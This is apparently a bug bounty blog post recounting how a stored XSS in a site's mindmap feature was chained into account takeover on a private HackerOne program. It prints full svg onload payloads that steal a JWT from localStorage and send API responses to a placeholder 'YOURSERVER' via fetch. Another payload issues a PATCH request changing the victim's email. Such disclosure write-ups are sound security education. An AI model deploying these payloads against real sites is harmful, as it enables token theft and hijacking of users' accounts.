Jatin Nandwana
6 min readJul 4, 2019

Story of a stored xss to full account takeover vulnerability(N/A to accepted)

Hey everyone,

This is one of my most best finds ever which took me some days to exploit but when I finally exploited it, it was the best feeling in the world!!

So lets begin,

I got a invite on a private program on hackerone and I started testing on it. As this was a private program I will use example.com instead of main program.

This site was mainly for the purpose of group purposes so companies can share their data among other peoples and can invite other people having account on this site.During the initial testing I was looking for random bugs like csrf,xss,session misconfigs etc. And soon I found a stored xss bug.

There was a functionality on the site to create some kind of mindmaps where we can store data for different purposes for memory recalling. And there were some templates to do this. And this was the request which got issued during creation of them,

POST /endpoint

Site: example.com

{“tag1":”abc”,”tag2":”def”,”html”:”<div>blabla”}

And this div took my attention, and I added a simple html tag like <b>test</b> and it rendered it properly. Now I tried something like <script>alert(6)</script> , it doesnt executed. Well xss can be executed in other ways as well using <image>,<iframe>,<svg> etc. I tried <image src=x onerror=alert(5)/> and alert popped up. And because of excitement of stored xss I reported this and this was the reply from them after 15 days.

Woah! really! then how the pop-up came.I didnt want to argue much and start chaining it with other bugs I found on the site. There was a jwt token used as a csrf protection in the every sensitive requests which got changed after every 600 seconds I guess. Very secured right?

Now the jwt tokens were stored not in cookies but in local html storage. Now the hacker inside me arised and I thought cant this be chained with the xss I found earlier to steal users information and I quickly remembered xmHttpRequest . Now as we can add javascript in onload handler of svg tags I prepared a quick poc to steal users information by first stealing jwt token from html storage and then adding it to auth request headers in the xmlhttprequest and this was my payload after some searching on xmlhttprequest and fetch api,

POST /endpoint

Site: example.com

{“tag1”:”abc”,”tag2":”def”,”html”:”<svg onload=\”var token=localStorage.getItem(‘jwt’);var xhr=new XMLHttpRequest();xhr.open(‘GET’,’https:/example.com/api/v0/endpoint/’, true);xhr.setRequestHeader(‘Accept’, ‘application/json’);xhr.setRequestHeader(‘Content-Type’,’application/json; charset=utf-8');xhr.setRequestHeader(‘Authorization’, ‘Bearer ‘ + token);xhr.send();xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText);
fetch(‘https://YOURSERVER?q='+xhr.responseText);}};\"/>"}

What this does is steals jwt token from local storage, make a xmlhttprequest to sensitive endpoint append the Authorization header(i,e jwt ) that was stolen, and sends the response with users sensitive information to our server through fetch api.

But the hacker inside in me was not satisfied and I want to do a full account takeover. I though lets try.

And from my initial testing I know that the application doesnt asks for password during email change and made a PATCH request like this with the auth header in request

PATCH /email-change

{“email”:”x@x.com”}

As PATCH requests are allowed in xmlhttprequest I though lets give it a try. Now the real struggle came in. Firstly I want to tell you that in this PATCH request we require json data. And from above first payload you will see that the POST request itself contains a json payload.

POST /endpoint

Site: example.com

{“tag1”:”abc”,”tag2":”def”,”html”:”<PAYLOAD>”}

New payload :

<svg onload=\”var token=localStorage.getItem(‘jwt’);alert(token);var xhr=new XMLHttpRequest();xhr.open(‘PATCH’,’https://site.com/v0/user', true);xhr.setRequestHeader(‘Accept’, ‘application/json’);xhr.setRequestHeader(‘Content-Type’,’application/json; charset=utf-8');xhr.setRequestHeader(‘Authorization’, ‘Bearer ‘ + token);var body=’{“email”:”x@x.com”}’;xhr.send(parsed);xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText) }};\”/>

Elaborating more when I made this request with our payload in it, you will notice that first our whole payload is in html parameter of original json which is in and must be in double quotes(property of json), and inside that we have the svg payload which have onload handler which also have double quotes(ok, we will escape it with backslash), but there is also a PATCH request for the account takeover which have json data(double quotes necessary right) but we already have escaped double quotes outside in onload handler,(you must be thinking escape it with two backslash simple, ok done) now the site accepted the data but when I visited this place where stored xss was the PATCH request was not issued from xss probably because of two backslashes in json data. In console it was saying “literal contains an unescaped line break”. This is where I struggled for two days.

WHAT WERE THE PROBLEMS I WAS FACING :

  1. Whenever I send a single quote in the json data of PATCH request inside onload handler the request failed saying “invalid json”
  2. Whenever I send a double quote in the json data of PATCH request inside onload handler the request accepted but the PATCH request in real xss failed.

Now I was stuck from both the ends. I tried many different things and a lot of googling, stackoverflowing about this but was still unsuccessful and was always facing one of the two above problems. I even tried implementing single quoted json to convert it to double quoted during the run like this

var body = {‘email’:’’x@x.com}

body.replace(/’/g, ‘“‘)

But this also failed as it also required the double quotes in replace function.

I felt like quitting here.

EVAL COMES TO THE RESCUE

After 2 days and some more googling I found out there also a way to make single quoted json into double quoted json with eval. So you can convert single quoted json to double quoted json with eval without using double quotes anywhere,

var test = {‘a’:’b’};

var new = eval(‘(‘ + test + ’)’);

and then I felt I am prettly close, I made the new payload which have single quoted data inside body parameter and the evl function convert it to double quotes and then we

<svg onload=\”var token=localStorage.getItem(‘jwt’);var xhr=new XMLHttpRequest();xhr.open(‘PATCH’,’https://example.com/api/v0/user', true);xhr.setRequestHeader(‘Accept’, ‘application/json’);xhr.setRequestHeader(‘Content-Type’,’application/json; charset=utf-8');xhr.setRequestHeader(‘Authorization’, ‘Bearer ‘ + token);var body=’{\\’email\\’:\\’x@x.com\\’}’;str = eval(‘(‘ + body + ‘)’);var parsed=JSON.stringify(str);xhr.send(parsed);xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText) }};\”/>

and sent the request got accepted. Woah!! passed the first stage, now when I loaded the the page where stored xss was there. The xss executed and no errors in console, I was like I have done that and in within a minute a confirmation email at our attackers email account received to verify the new email address for the account. I was so relaxed at that moment and also very happy at the same time. Finally after trying 100’s of payload and after 3–4 days I got the right payload for full account takeover. Probably I was weak in the basics of json implementation in javascript which took me so much time in making this payload worked, but the struggle was the real part where my hacking instints came up and I was like if this failed I should try this and finally the struggle paid off. Might be the good experts must have found this quickly but I really loved the struggle as it taught me to not give up till you think its possible.

Now what this payload does is makes PATCH request to issue a new email for user , whoever visits that mindmap, the xss executes and changes his/her email to the attackers email.

Vulnerabilities Chained => Stored xss + Jwt token in html local storage + No password protection on email change

Finally they accepted this bug because of the account takeover poc I showed them and was awarded a good bounty by them.Always try to increase the impact of xss by chaining it with other bugs like token stealing,csrf, etc.

XSS is more than an alert

Thanks,

Jatin

Twitter : https://twitter.com/techyfreakk